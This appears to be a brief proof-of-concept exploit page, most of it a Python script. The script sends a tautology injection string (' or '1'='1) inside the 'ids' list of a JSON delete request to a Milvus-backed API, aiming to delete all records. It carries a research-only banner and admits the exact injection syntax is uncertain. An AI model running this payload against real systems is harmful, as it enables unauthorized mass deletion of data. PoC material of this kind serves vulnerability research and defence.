PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target URL (Example)
target_url = "http://vulnerable-app/api/delete"

# Malicious payload simulating a filter expression injection.
# Instead of a normal ID, we inject a logical expression.
# Note: The exact syntax depends on the Milvus expression language implementation.
malicious_ids = [
    "normal_id_123",
    "' or '1'='1"  # Attempting to inject a tautology to affect all records
]

payload = {
    "ids": malicious_ids
}

headers = {
    "Content-Type": "application/json"
}

try:
    # Send the malicious request
    response = requests.post(target_url, data=json.dumps(payload), headers=headers)
    
    # Check response status
    if response.status_code == 200:
        print("[+] Request sent successfully. Check database for impact.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] An error occurred: {e}")
